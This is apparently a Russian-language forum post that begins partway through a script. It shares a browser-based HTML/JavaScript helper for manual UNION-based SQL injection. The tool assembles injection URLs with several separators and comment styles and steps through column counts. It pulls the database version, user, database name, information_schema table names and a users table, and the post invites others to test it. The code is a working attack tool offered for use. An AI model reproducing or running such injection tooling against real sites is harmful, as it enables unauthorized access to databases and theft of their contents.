t[i][1] = "version()";
   
t[i][2] = "user()";
   
t[i][3] = "database()";
   
t[i][4] = "concat(version(),0x3a,user(),0x3a,database())";
   
t[i][5] = "table_name";
   
}


var 
url="http://"/*целевой URL*/
var tek_url=url/*текуший URI*/
var s=""/*накопитель*/
var n=0
var 
m=0;


function 
get_url(f) {
      
url=document.search.url.value;
      
n=1;    
      
b=document.search.separator.value;
      
p=document.search.parametr.value;
      
stlb=document.search.stolbec.value;
      
tabl=tables_name[document.search.n_table.value];
      
lm=limit[document.search.limit_n.value]
      
      if (
stlb!=1)
      {
s=t[n][0]}
      else {
s=t[n][document.search.output.value];}
while (
n<document.search.colum.value)
      {
      
n++;
      if (
n!=stlb) {m=0;}
      else {
m=document.search.output.value;}
      
      if (
n==1) {s=t[n][document.search.output.value];} 
      else {
s=s+","+t[n][m];}
       
      }
      
      if (
document.search.n_table.value!=0)
      {
tabl=sp[b]+"from"+sp[b]+tables_name[document.search.n_table.value];}  
      
      if (
document.search.limit_n.value!=0)
      {
lm=sp[b]+"limit"+sp[b]+limit[document.search.limit_n.value]+",1";} 
      
      
tek_url=url+p+sp[b]+"union"+sp[b]+"select"+sp[b]+s+tabl+lm+end[document.search.end_of.value];
      
document.search.tek_url.value=tek_url
      
document.search.colum.value=n;     
      
changePage(tek_url); 
      
pause (); 
}

function 
inc(f) {
    
document.search.colum.value++
    
get_url(f)
}
     
function 
dec(f) {
     
document.search.colum.value--
     
get_url(f)
}

function 
changePage(p) { 
        
document.getElementById"ifrm" ).src p
     } 

</
script
<
form name=search method=post
  <
label>Ведите путь до уязвимого скрипта 
  
<input name="url" value="http://" size=110%> 
  </
label><br
  
параметр: <input size=5 name=parametr value="-1">
  
разделитель: <select name=separator>
              <
option value=0 selected>+
              <
option value=1>/**/
              
<option value=2>пробел
              
</select>
  
лимит: <select name=limit_n>
              <
option value=0 selected>?
              <
option value=1>1
              
<option value=2>2
              
<option value=3>3
              
<option value=4>4
              
<option value=5>5
              
<option value=6>6
              
<option value=7>7
              
<option value=8>8
              
<option value=9>9
              
<option value=10>10
              
<option value=11>11
              
<option value=12>12
              
<option value=13>13
              
<option value=14>14
              
<option value=15>15
              
<option value=16>16
              
<option value=17>17
              
<option value=18>18
              
<option value=19>19
              
<option value=20>20
              
</select>          
   
комментарий: <select name=end_of value=0>
              <
option value=0 selected>/*
              <option value=1>--
              </select>
              
  колонок: <input size=5 name=colum>
  <input onClick=inc(search); type=button value="+" name=calculateit>
  <input onClick=dec(search); type=button value="-" name=calculateit>
  <input onClick=get_url(search); type=button value="ОК" name=calculateit><br>
  Вывод: <select name=output>
              <option value=0 selected>цифры1,2,3...
              <option value=1>version()
              <option value=2>user()
              <option value=3>database()
              <option value=4>concat(version(),user(),database())
              <option value=5>table_name
              </select> 
  В столбец №: <input size=5 name=stolbec value=1>
  из: <select name=n_table value=0>
              <option value=0 selected>?
              <option value=1>information_schema.tables
               <option value=2>users
              </select>
  <br>
  текущее значение: <input name=tek_url size=110% readonly>

</form> 
<body onload="changePage()"> 
    <iframe id="ifrm" src="" width="100%" height="500%"/> 
  </body> 

</html> 

Добавлено:
- вывод полезной инфы в отображаемый столбец.
- добавлена возможность использовать LIMIT
- добавлена работа с INFORMATION_SCHEMA
В Планах:
- наращивание функционала;
- пополнение списка имён таблиц и названий колонок

Зы: Рекомендую затестить, тем кто ищет скули ручками и отписать замеченные баги (если есть).


Время: 23:24